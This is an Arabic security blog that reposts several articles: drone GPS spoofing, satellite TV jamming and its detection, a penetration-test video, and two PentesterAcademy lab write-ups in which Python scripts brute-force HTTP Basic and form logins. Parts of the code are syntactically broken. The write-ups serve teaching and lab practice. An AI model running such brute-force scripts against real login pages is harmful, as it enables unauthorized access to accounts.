الخميس، 13 فبراير 2014

مقال : كيف تم اختراق الطائره الامريكية من قبل المخابرات الايرانيه

احب ان اشارككم مقالي بموقع iSecur1ty

السلام عليكم ورحمة الله وبركاته
اخواني واخواتي اعضاء وزوار iSecur1ty . اليوم ساتحدث عن حادثه قد وقعت منذ 3 سنوات ولكنها مازالت الاشهر والاكثر اهتماما في مجال الحرب الالكترونيه التي تقام بين ايران والولايات المتحده الامريكيه بعد stuxnet . لقد قرأت منذ فترة عن اختراق طائرة امريكيه اخترقت المجال الجوي الايراني وقد كان امر مثيرُ للدهشه حين تقوم ايران بالايقاع بطائره امريكيه فهذا يعني انه لاشئ مستحيل وان الولايات المتحده الامريكيه ليس لديها التقنيات المعقده والصعب اختراقها كما نعتقد
بداية اود ان اعرفكم علي الطائره الامريكيه التي تم اختراقها :

التعريف بالطائره الامريكيه RQ-170 Sentinel. 

الطائره الامريكيه RQ-170
هي طائره بدون طيار  تتميز بقوة التحمل والسفر لمسافات بعيده  تم تصميمها  من  قبًل  Lockheed Martin وهي منظمه تعمل لصالح جهات حكوميه بالولايات المتحده  وقد بلغت نسبة مبيعاتها للعام 2012 47 بليون  دولار  امريكي  .  وقد تم تصميم هذه الطائره لصالح  القوات الجويه الامريكيه  USAV . في خلال السبعينات بدأت شركة Lockheed Martin الامريكية مشروع HaveBlue الذي يهدف الي صناعه طائره شبح يصعب تتبعها من اجهزة الرادار ونحجت فعلا هذه الشركة في انتاج اول طائره شبحيه وتدعي F-117 Nighthawk وقد خرجت هذه الطائره من الخدمه عام 2008 .
ان هذه الطائره الامريكيه تستطيع  تصوير الاماكن الحساسه الخاصه بالحرب مثلا ويتم ارسالها الي قاعده تحكم مركزية  من خلال  اشارات كهرومغناطيسيه  بعيدة المدي  LOS .   هذه الطائره تم استخدامها من قبل في عمليات بافغانستان وباكستان اثناء العمليات العسكريه ضد “اسامه بن لادن”  .
تستطيع هذه الطائره التحليق علي ارتفاع 50.000 قدم ويمكن التحكم بها من خلال قاعده مركزيه حيث يمكنها تزويد المتحكم بالمعلومات الحيًه التي تقع تحت الطائره مباشرة .

مميزات الطائره  RQ-170 

1 – نظام الملاحه و تحديد الاماكن :
تتميز هذه الطائره بان لها وضعين الاول هو التحكم بها عن بعد من خلال قاعده ارضيه مركزية Ground command Station  و تمًكن المتحكم من ارسال الاوامر لها وتنفيذها علي الوضع الحالي .

قاعدة تحكم ارضيه
ثانيا : الوضع التاني وهو ALR – Automatic Launch and recovery  حيث الوضع التلقائي للطائره فتمكن الطائره من تحديد احداثياتها علي الخريطه ومن ثم الانتقال ونتفيذ خطه ما بطريقة تلقائيه ثم تعود الي المكان المحدد لها الهبوط فيه ويعمل هذا الوضع في حال قطع الاتصال بقاعدة التحكم الارضيه .
تتميز ايضا هذه الطائره بان لها تقنية عاليه في التخفي حيث يمكنها التوغل في اراضي الخصم دون الكشف عنها من قبل الرادارات عالية التردد UHF  فلا يمكنها رصد الطائره عن بعد اقل من 40 كيلو متر . تستخدم ايضا هذه الطائره في عمليات التشويش والتنصت علي الاتصالات اللاسلكيه علي نطاقات واسعه
ماذا تفعل ان كنت مهندس بالجيش الايراني وسُندت اليك تلك المهمه ؟  
فكر معي قليلا ان كنت مهندسا بالجيش الايراني وطُلب منك الايقاع بتلك الطائره الامريكيه فماذا كنت تفعل ؟
ربما سيجيب البعض بانه يجب علينا اعتراض الاتصال بين الطائره وقاعدة التحكم المركزية ومحاولة التصنت علي الاوامر والمعلومات بين الطائره والقاعده ولكن الامر في غاية الصعوبه فبكل تأكيد الاتصال بين الطائره والقاعده مُشفر واّمن تماما ويصعب اختراقه بالاضافه الي معرفة قناة الاتصال بين الطائره والقاعده فالامر سيستهلك الكثير من الوقت لمحاولة اعتراض الاتصال .

ماذا فعلت ايران لكي تخترق الطائره الامريكيه ؟
ان لاحظت معي في اول المقال فقد ذكرت ان  من مميزات الطائره هو الوضع التلقائي والذي يعمل عند قطع الاتصال بين الطائره والمحطه الارضيه اذن فان عملية قطع الاتصال ليست بالصعبه ولكن ماذا يحدث بعد قطع الاتصال وتشغيل الوضع التلقائي ؟ . يقول المهندسون ان الطائره تقوم بتحديد احداثياتها من خلال GPS ومن ثم تقوم بالهبوط في المكان المحدد لها الهبوط فيه مسبقا عند قطع الاتصال . ما فعلته ايران هو محاولة مخادعه نظام الملاحه الخاص بالطائره GPS spoofing . فان الطائره مبرمجه علي انها تهبط مثلا في احداثيات x,y ولتكن 5,6 فان عملية مخادعة نظام الملاحه الخاص بالطائره يقوم باقناعها بان 5,6 مثلا يقعوا في احداثيات 7,8 وبالتالي تهبط الطائره في المكان الذي احداثياته 7,8 :)

كيف يعمل هجوم GPS Spoofing ؟ 
مبدئيا فإن موجات نظام الملاحه المستخدمه هي نفسها المستخدمه في حياتنا اليوميه في اجهزة المحمول واجهزة التتبع حيث انها تحدد الاحداثيات من خلال الاقمار الصناعيه . ان هذا الهجوم يكمن في ارسال اشارات مزيفه وزيادة القدره الخاصه بها حتي تكون اعلي من الاشارات المرسله من الاقمار الصناعيه .
مثال :
ان الصوره الموضحه ادناه توضح اشاره عاديه للـ GPS حيث يتم تحديدها من خلال اعلي القمه Peak . والنقاط الحمراء هي التي تحدد وسط الاشاره

صورة لاشارة GPS عاديه
صورة لاشارة GPS عاديه
عند ارسال اشارة مزيفه فان اشارة اخري قد تظهر علي الساحه ويتم زيادة القدره لهذه الاشاره حتي تصبح اعلي من الاشاره الاصليه وبالتالي يظهر لنظام الملاحه الاشاره الاعلي قمه Peak . وبالتالي ستكون الاشاره المزيفه هي الاعلي قمه وسيتم تحديد مكان خاطئ .
الاشاره المزيفه
الاشاره المزيفه
كيف يتم عمل جهاز GPS spoofing عمليا ؟
حتي الان لم اقم بهذه التجربه للاسف لانشغالي بالامتحانات في هذه الفتره ولكني سأحاول في الفتره القادمه شراء بعض المعدات ومحاولة تصميم هذا الجهاز من أجل ايضاح اكثر . لقد وجدت مجموعه من التجارب التي تمت في الولايات المتحده الامريكيه من قبل بعض الباحثين في جامعة اوكلاهوما وغيرها
واحببت ان اشاراككم بعض هذه الابحاث لعل يريد احدكم صنع هذا الجهاز ومحاولة تجربته .
بحث بعنوان “ايضاح بسيط لاثبات ضعف امني بنظام الملاحه GPS”  حيث يعرض الباحثين كيف تم تزييف اشارة GPS لسياره


اتمني ان اكون قد اضحت الفكرة بشكل جيد .

مقال : HTTP basic authentication وكيفية تخطيها

السلام عليكم ورحمة الله و بركاته
اخواني واخواتي اعضاء وزوار موقع isecur1ty . ساتحدث اليوم عن كيفية عمل Brute force attack   علي موقع يحتوي HTTP Basic authentication لعملية الدخول . ساشرح اولا ماهي هذه العملية وكيف تستخدم ومن ثم ساتطرق لكود بايثون ساقوم بكتابته لعمل Brute force attack علي صفحة دخول سنقوم بتنفيذها ايضا ومن ثم سنتطرق الي احد التحديات الخاصه بـ securitytube  ومتعلقه بهذه الجزئيه وسوف اعرض لكم كيف قمت بحل هذا التحدي .

أولا : HTTP Basic Authentication 
هي طريقة بسيطه وسهله لحماية صفحة ما علي الانترنت من الاختراق او الدخول اليها مباشرة . فنجد ان معظم مديري المنتديات ومدونات الفيس بوك قد يلجأو الي هذه الطريقه لحماية صفحة الدخول ايضا . ربما نجدها ايضا في بعض الشلات الموجوده حاليا علي الانترنت . تعتمد هذه الطريقه علي HTTP headers لعمل authentication لليوزر .
يوجد اكثر من نوع لـ HTTP authentication مثل :
- Basic Authentication
- Digest Authentication
ما نتحدث عنه في هذا المقال هو Basic authentication .

ثانيا : كتابة كود PHP بسيط لهذه العمليه 
ساقوم بكتابه كود php بسيط لتوضيح كيف تتم العملية
Screenshot from 2014-01-29 12:38:50
HTTP Basic Authentication
في هذا الكود ما قمت به هو مجرد التاكد ما اذا كان اليوزر قد قام بادخال الاسم وكلمة المرور وفي حالة الضغط علي cancel ستظهر له رسالة unauthorized person .  يتم ارسال ايضا Basic realm وهو الذي يظهر في الرساله عندما يتم الدخول الي الصفحه كما ستشاهدون في الصوره التاليه
صورة للرساله التي تظهر
صورة للرساله التي تظهر
.  كما تلاحظون في هذه الصوره عند الدخول الي الصفحه التي قمت ببرمجتها مسبقا تظهر هذه النافذه وتطلب اسم الدخول وكلمة المرور . في الكود السابق لم اقم بتعيين كلمة مرور واسم للصفحه وانما مجرد طباعة اسم المستخدم وكلمة المرور التي يتم ادخالهم في النافذه التي تظهر .
رسالة الصفحه
رسالة الصفحه
عند ادخال  اسم الدخول وكلمة المرور يتم فتح صفحه  تقوم بالترحيب بالمستخدم ايا كان من هو وانما مجرد هي تاخد المتغيرات من$_SERVER['HTTP_AUTH_USER']  و $_SERVER['HTTP_AUTH_PW']
Screenshot from 2014-01-29 12:49:11اذن الامر الان اصبح نسبة ما سهل وبسيط ويمكننا تعديل هذا الكود بحيث يقبل مجموعه من المستخدمين وكلمات المرور وعند كتابة كلمة المرور او اسم المستخدم بطريقة خاطئه تظهر له صفحة unauthorized  .
ايضا عند تشغيل اداة Live HTTP headers علي الصفحة نجد التالي :
Live Http Headers
Live Http Headers
يوجد في جزئية  Authorization تشفيرة Base64 يتم تسجيلها في Headers . عند فك هذه التشفيره نجد انها عباره عن “admin:ahmed” اي ان اسم الدخول وكلمة المرور يتم  تخزينهم  بهذه الصوره .
ثالثا : كيفية عمل Brute Force Attack علي هذه النوعيه  
ساتطرق الي احد التحديات المقدمه من موقع securitytube ومن خلال حلها سوف تكون قادر علي فهم هذه النوعيه والهجوم عليها
المطلوب في التحدي :  تخطي صفحة الدخول Basic authentication .
بعض التلميحات : 
- اسم المستخدم nick , admin
- كلمة المرور تتكون من ثلاثة احرف a,s,d وطولها 5 احرف .

طريقة الحل : 

عند الدخول الي صفحة التحدي نجد الصفحة التاليه :
Screenshot from 2014-01-29 13:16:17

وعند الضغط علي زر Enter Pentester Academy .  نجد النافذه التاليه تظهر امامنا وتطلب اسم الدخول وكلمة المرور
Screenshot from 2014-01-29 13:17:44

اذن كيف نقوم بالتخمين علي هذه النافذه ؟
لمن لم يتابع كيفية حل التحدي الاول الذي قمت به يمكنه متابعته من هذا الرابط 
تعلمنا في درس التحدي الاول كيف يمكننا عمل Brute force attack علي web form وكيف استطعنا استغلال التلميحات الموجوده بالتحدي من اجل انشاء قائمة الباسوردات المحتمله . نفس الشئ ساقوم به في هذا التحدي

اولا : ساقوم بعمل انشاء لقائمة كلمات المرور المحتمله
فقد ذكر انه كلمة المرور تتكون فقط من ثلاثة احرف a,s,d وطولها 5 احرف . اذن ساقوم بكتابه نفس الكود الذي قمت بكتابته مسبقا لانشاء قائمة كلمات المرور مع استبدال pass_list بالاحرف الممكنه الجديده a,s,d
قائمة كلمات المرور واسماء الدخول المحتمله
قائمة كلمات المرور واسماء الدخول المحتمله
الان لنقم بعمل الاتصال بنافذة الـ authentication التي تظهر لنا ومن ثم تجربة كل كلمات المرور الممكنه من خلال مكتبة requests بالبايثون .  يمكنك تطبيق الامر التالي في التريمنال لتنصيبها بكل سهوله
pip install requests
ساقوم باستحضارها في كود البايثون من خلال import requests ومن ثم استحضار جزئيه HTTP Basic Auth  من خلال :
from requests.auth import HTTPBasicAuth
Screenshot from 2014-01-29 13:26:16لنبدأ إذن بعملية التخمين من خلال كتابة حلقتين تكرار واحده لكلمات المرور وواحده لاسماء المستخدمين وهم nick,admin
for passw in a :
for user in username:
الامر بسيط للغايه حيث قمت بانشاء حلقة تكرار تقوم بالعد داخل list a التي تحتوي علي كل كلمات المرور المتوقعه وبداخلها حلقة تكرار اخري تقوم بالعد علي list username للاختيار مابين nick , admin .
For Loop for user and password
For Loop for user and password
ما بقي لنا في هذا الكود هو مجرد  كتابة سطر كود ليقم بالمحاوله علي النافذه التي تظهر لنا  في التحدي من خلال الامر التالي
send = requests.post(“https://pentesteracademylab.appspot.com/lab/webapp/basicauth”,auth=HTTPBasicAuth(user, passw))
قمت هنا بتعريف متغير جديد يدعي send يقوم بارسال اسم المستخدم و كلمة المرور التي تتواجد في الوضع الحالي بحلقة التكرار حيث نجد ان requests.post تحتوي علي 2 parameters  الاول ياخذ الرابط الخاص بالصفحه والثاني ياخذ نوع authentication ومن ثم ارسال اسم المستخدم وكلمة المرور .
HTTP Basic authentication
HTTP Basic authentication
حتي الان يسير الوضع بشكل  جيد  . ولكن ما يقوم به هذا الكود حتي الان  هو مجرد ارسال كل كلمات المرور المتوقعه واسماء الدخول ولكن لا نعرف ماهي كلمة المرور واسم الدخول  الصحيحين  لهذه الصفحه  .  اذن سنحتاج لكتابة بضعة اسطر اخري لمعرفة ما اذا كان كلمة المرور واسم الدخول  صحيح ام لا  . يجب علينا اولا ان نري ماذا يحدث عند ادخال كلمة مرور واسم مستخدم خاطئين يدويا . نجد انه يرسل لنا النافذه مره اخري وعند الضغط علي الغاء نجد جملة Unauthorized ايضا عند محاولة الدخول الخاطئه بسكربت البايثون قد يعطي لنا خرج unauthorized .
output from page
output from page
عند تطبيق هذا الكود ومحاولة طباعه send.text وهو الخرج حتي الان نجد انه  يحدث كما في الصوره التاليه :

Screenshot from 2014-01-29 13:38:01
Unauthorized Unauthorized Unauthorized
نجد كلمة unauthorized في الخرج اذن ما سنقوم به هو عملية فحص ما اذا كان send.text يحتوي في كل مره علي كلمة unauthorized ام لا وان لم يحتوي في مرة ما علي هذه الكلمة فهذا يعني ان عملية الدخول تمت بنجاح . فسنقوم بتطبيق التالي :
if “Unauthorized” not in send.text:
print(“Yes it worked ” + passw)
break
else:print(“Not Connected with pass %s and user %s”) %(passw,user)
if unauthorized
if unauthorized
نقوم بمجرد  فحص ما اذا كان كلمة unauthorized موجوده بالخرج ام لا وان لم تكن موجوده كما كتبت if “unauthrized” not in send.text فهذا يعني ان العملية تمت بنجاح ويقوم بطباعه كلمة المرور الصحيحه ومن ثم توقف السكربت .
Screenshot from 2014-01-29 13:13:40
نجد ان العملية تمت بنجاح من خلال كلمة المرور aaddd واسم الدخول admin . وعند محاولة الدخول يدويا نجد التالي :
Screenshot from 2014-01-29 13:44:34
يمكنكم تحميل كود الحل كاملا من خلال الرابط التالي  http://pastebin.com/eM6TpJr1:
اتمني ان تكون وصلت الفكره بطريقة جيده .
References :
http://en.wikipedia.org/wiki/Basic_access_authentication
http://www.ietf.org/rfc/rfc2617.txt



السبت، 8 فبراير 2014

فيديو : سيناريو إختبار إختراق خارجي للشبكات

السلام عليكم ورحمة الله وبركاته
مقالي بموقع iSecur1ty
"""
اخواني واخواتي اعضاء وزوار موقع iSecur1ty الكرام احببت ان اقدم لكم اليوم طريقة جديده في اختبار الاختراق وتطبيق اختراق خارجي باستخدام الميتاسبلويت فقط مع بعض الهندسه الاجتماعيه للوصول الي احد الاجهزه الموجوده بشركة ما ومن ثم الوصول الي السيرفر الخاص بالشركة .
Scenario
Scenario
في الفيديو قمت باستخدام الهندسة الاجتماعيه ضد احد موظفي الشركة ولتكن شركة iSecur1ty ومن ثم استخدام جهاز الموظف للحصول علي صلاحيات روت (RooT) علي سيرفر اللينكس الخاص بالشركة .


http://www.youtube.com/watch?v=_J2TIIshoKs

الثلاثاء، 4 فبراير 2014

مقال : كيف يتم التشويش علي القنوات الفضائيه

أحببت ان اشارككم في مدونتي مقالي علي موقع iSecur1ty .

السلام عليكم ورحمة الله وبركاته اخواني واخواتي اعضاء وزوار موقع iSecur1ty .  احببت ان اشارك معكم اليوم كيف يتم التشويش علي القنوات الفضائيه وكيف تعمل القنوات الفضائيه من الاساس ليتم التشويش عليها . اولا يجب علينا ان نتعرف كيف نقوم نحن باستقبال القنوات التلفزيونيه في منازلنا . ومال الفرق بين القنوات العاديه التي كنا نستخدمها قديما والقنوات الفضائيه المعتمده علي الاقمار الصناعيه حديثا . قبل ان نزول Satellite Tv في عام 1990 كنا نستخدم التفاز العادي والقنوات الارضيه المحليه لمن يتذكر حيث شكل انتينا الاستقبال صغيره وهي تاتي مباشرة مع التلفاز مثل التي بالصوره .television-with-antenna  كيف كانت تعمل الانظمه القديمه ؟  الانظمه القديمه كانت مبنيه علي اساس المحطات الارضيه التي تقوم بارسال موجات راديو (Radio Waves) يمكنك من الاجهزه في البيوت استقبالها بكل سهوله . ماهي عيوب الانظمه القديمه ؟  عيوب الانظمه القديمه او المعروفه هي المدي للاشارات حيث انه يجب عليك ان تكون علي خط مستقيم بامتداد الاشاره حتي يمكنك استقبالها ولذلك فان الكره الارضيه تشكل اكبر عائق للاشاره لانها تقوم بعمل انعكاس للاشاره بسبب انها كرويه . المشكله الاخري لهذه الانظمه هي الـ distortion حيث يحدث تشويه للاشاره كلما وُجد عائق امامها ولذلك فان افضل اشاره قد تصلك ان كنت قريب جدا من المحطه بدون اي عوائق وهذا طبعا صعب عمليا .  لهذا تم ابتكار Tv Satellite  satellite-tv-5 (1)  ماهو الحل الذي تضمنه TV satellite ؟  ان الحل الذي تضمنه هذا النوع هو ارسال الاشاره من الاقمار الصناعيه وبالتالي فإن معظم المستقبلين Receivers سيكونون علي خط مستقيم مع المرسل Transmitter وهو القمر الصناعي ولذلك ستصل الاشاره بدون اية عوائق حيث يتم استقبال الاشاره من خلال اطباق الدش كما تُعرف لدينا .
Satellite_dishes1_copy
Satellite Dish

كيف يعمل الـ T.V satellite ؟ 
satellite-tv-4قديما كان يتم الارسال من خلال موجات C-Band radio وهي موجات كهرومغناطيسيه تعمل علي التردد من (4 جيجا هرتز الي 8 جيجا هرتز ) حسب المقرر لـها في IEEE . اما في الانظمة الجديده فتم استخدام Ku Band والتي تعمل علي نظاق ترددات من (11.7 - 14.5 جيجا هرتز النظاق المحدد لاتصال الاقمار الصناعيه التلفزيونيه )  . الاشارات المستخدمه حديثا فهي Digital بالكامل وهذا يعني جودة عاليه من الصوت والصوره .
كيف يتم الارسال ؟ 
مصدر القناه- البرمجه  (programming source)  : وهي التي تحتوي علي معلومات القناه التي تريد بثها يتم الحجز مع شركات مزوده لخدمات الستالايت مثل (HBO ,ESPN) ليتم بث القناه عبر الاقمار الصناعيه .
محطه الارسال الارضيه (BroadCast center) : وهي محطه تقوم باستقبال الاشارات من مصدر القناة ومن ثم تجميعها في حزم وارسالها الي القمر الصناعي
القمر الصناعي (satellite) : ماهو الا عاكس يقوم بعكس الاشارات المرسله اليه ليتم استقبالها في البيوت من خلال اطباق الدش كما تُعرف لدينا وكما ذكرت من قبل ان هذه الطريقه هي الافضل من التقليديه لان القمر الصناعي علي بعد كبير حوالي 37,000 كيلومتر ولذلك ستكون الاشاره علي خط مستوي مع معظم المستقبلين .
اذن كيف يتم التشويش ؟ 
سمعنا في الفترات الاخيره وجود عمليات تشويش تتم علي القنوات الفضائيه فكان اخرها اتهام قناة الجزيره للحكومه المصريه بالتشويش علي قنواتها حيث كشفت لهم شركة Integral Systems ان مصدر التشويش يأتي من 4 مناطق مختلفه في مصر منهم 3 مناطق تابعه للجيش المصري . ايضا تم اتهام العديد من الدول مثل ايران واثيوبيا وغيرها بالتشويش علي بعض القنوات الاخري .
تقول قناة الجزيرة انه تم التشويش علي قنواتها باستخدام اجهزة SNG فماهي تلك الاجهزه ؟
 ماهو SNG - Satellite News Gathering ؟
truckrيمكن ان يكون عربة متحركه تقوم بارسال اشارات الي القمر الصناعي ... قد تستخدم هذه الطريقه للمراسلين في المناطق النائيه
ولكن تم استخدامه ليقوم بتوليد اشارات بنفس التردد الذي تقع به القناه بطاقة اعلي من الاشاره الاصليه .
8M27F8x500
interference
في الحاله العاديه للقناه التلفزيونيه يتم عمل ما يسمي modulation وهي عملية دمج  الاشاره الاصليه التي تحتوي  علي  المعلومات وهي (الصوت والصوره ) مع اشاره حامله Carrier signal ليتم ارسالها الي القمر الصناعي .  ماتقوم به جهة التشويش هي ارسال مجموعة من الاشارات في نطاق محدد وليكن نطاق قناة الجزيرة علي سبيل المثال كما هو موضح بالصوره وكما ذكرت من قبل ان القمر الصناعي ماهو الا عاكس فبالتالي يحدث تداخل بين الاشارتين وتصلك الاشاره بطريقة مشوشه وربما يتم حجبها لبعض الوقت في بعض الاحيان .  المشكله هنا تكمن في القمر الصناعي نفسه حيث انه يقوم باستقبال اي اشاره علي التردد .
pixelation02
مثال للصورة اثناء التشويش
كيف يتم تحديد مصدر التشويش ؟ 
interference carrier
interference carrier
يتم تحديد اولا  اذا كان هناك اشاره Carrirer متداخله مع الاشاره الاصليه  ام لا  من خلال  Carrier Monitoring product حيث يقوم بالبحث عن  خصائص الموجه المتداخله ومن ثم عرضها مثلMonics CMS وهي اختصار لـ Carrier Monitoring system .

SAT_Products_text
ds-satid4
SatID
في الصوره التي تحتوي علي وصف interference تجد كيف يتم تحديد مصدر التشويش . حيث يوجد بعض المنتجات مثل SatID كما هو موضح بالصوره يقوم بتحديد الموقع الجغرافي لمصدر التشويش .
يمكنكم مشاهدة تقرير قناة BBC عن التشويش من خلال فيديو بسيط يوضح كيف يتم التشويش
واخيرا حاولت ان اتطرق الي كيفية التشويش بطريقة بسيطه وكيفية الكشف عنه ايضا
يمكنكم معرفة المزيد عن كيفية تداخل الاشارات من خلال الرابط التالي 
يمكنكم ايضا مشاهدة تقرير قناة الجزيرة عن التشويش من خلال الرابط التالي
لمعرفة المزيد عن توليد الاشارات بقدرة كبيره يمكنكم مشاهده تعريف احد الاجهزه المولده للاشارات من هنا

الثلاثاء، 29 أكتوبر 2013

securitytube (pentester academy) Challenge 1 Solution

 Hello Guys, 

I'm gonna show u how I could solve the challenge 1 of securitytube challenges by writing a simple python script . 

Firstly Let's have a look on the challenge (url Below) : 


ok it gives us some hints : 



Hint:
  1. Company Domain: PentesterAcademy.com
  2. Usernames: jack, admin
  3. Password Complexity: 5 characters and uses only x,y,z lowercase. Password examples - xxyyz, xyzxy, xyxxx etc.
ok as shown in hints it gives us  a combination of passwords and 2 usernames it seems to be brute force attack on a form :) 

so with a simple calculation the password would be a combination of three letters only (x , y and z ) with a length of 5 characters , so number of probabilities would be ( 3 ^ 5 ) = 243 probability and we have 2 usernames , so number of tries will be done on this form is (243 * 2  = 486)  try .

ok let's start coding our script to brute force on this form : 

I'm gonna use (urllib2) to connect to a web page -> 

  1. #!/usr/bin/env python
  2. import urllib2
  3. response = urllib2.urlopen('http://pentesteracademylab.appspot.com//lab/webapp/auth/1/login')
  4. print response.info()
  5. # do something
  6. response.close()
this code will give us and output 
  1. Content-Type: text/html; charset=utf-8
    Cache-Control: no-cache
    te: Wed, 16 Oct 2013
    Vary: Accept-Encoding D a14:59:24 GMT Server: Google Frontend
    : close
    Alternate-Protocol: 80:quic Connectio
    n
it's the header info , so connection successfully done .

Now we need to generate 243 probability of password

  1. your_list = 'xyz'
  2. complete_list = []
  3. for current in xrange(5):
  4.     a = [for i in your_list]
  5.     for y in xrange(current):
  6.         a = [x+i for i in your_list for x in a]
  7.     complete_list = complete_list+a

this code will generate combination from length (1 to 5 ) so we need to split it and extract only combination for 5 chars length .

  1. chunk = complete_list[120:363]
  2. print chunk
  3. print len(chunk)
 the output for chunck will be (243) . Cool :)

now let's make a list for users

  1. username = ['jack@pentesteracademy.com','admin@pentesteracademy.com']

ok now we created a list for password and usernames . we need to make connection for the vulnerable app and try to connect with generated passwords and usernames .

We need to make a for loop for passwords
  1. for pw in chunk:

and we'll make another for loop for usernames under the first loop
  1.         for x in username:

then we'll print every single try for username and password
  1.                 trying =  "Trying with Username \t"+ x +"\t password "+pw + "\n"

and as we know that the url for vulnerable app is
  1. ('http://pentesteracademylab.appspot.com/lab/webapp/1?email=username&password=password)
so we will replace username parameter with x variable and password with pw variable

  1.                 url = ('http://pentesteracademylab.appspot.com/lab/webapp/1?email='+x+'&password='+pw)

that's good , our script now will send requests to the form and try with generated username and password but we didn't get the response yet ! . we need to know if the username and password is right or incorrect . so we'll put in these lines of codes
  1.                 request = urllib2.Request(url)
  2.                 response = urllib2.urlopen(request)
  3.                 back = response.read()[2486:2492]

Attention :  for the line 
  1.                 back = response.read()[2486:2492]
when u get the  response you need to specify the line which tells you if the password is right or incorrect

if you tried to put


  1.                 back = response.read()


         print back


the output will be the whole page :



So , we need to split it from the char 2486 to 2492 and it's the word "failed" . 
we'll check if every output from the page is failed or not

  1.                 print back
                    if(back!="Failed"):
  2.                         cprint  ("Success With Username " +x+ "& Password " + pw ,'red')

and successfully the challenge solved ! :D

here's the whole code

  1. #!/usr/bin/env  python
  2. '''
  3. Brute Force On Challenge 1
  4. Ahmed Sherif
  5. '''
  6. import urllib2
  7. import os
  8. from termcolor  import cprint,colored
  9. your_list = 'xyz'
  10. complete_list = []
  11. for current in xrange(5):
  12.     a = [for i in your_list]
  13.     for y in xrange(current):
  14.         a = [x+i for i in your_list for x in a]
  15.     complete_list = complete_list+a
  16. chunk = complete_list[120:363]
  17. print chunk
  18. print len(chunk)
  19. = open('myfile3.txt', 'w')
  20. username = ['jack@pentesteracademy.com','admin@pentesteracademy.com']
  21. for pw in chunk:
  22.         for x in username:
  23.        
  24.                 trying =  "Trying with Username \t"+ x +"\t password "+pw + "\n"
  25.                 print   trying
  26.                 url = ('http://pentesteracademylab.appspot.com/lab/webapp/1?email='+x+'&password='+pw)
  27.                 request = urllib2.Request(url)
  28.                 response = urllib2.urlopen(request)
  29.                 back = response.read()[2486:2492]
  30.                 print back
  31.                 f.write(trying + back + "\n")
  32.                 if(back!="Failed"):
  33.                         cprint  ("Success With Username " +x+ "& Password " + pw ,'red')
  34.                        
  35. f.close()
or you can download it from here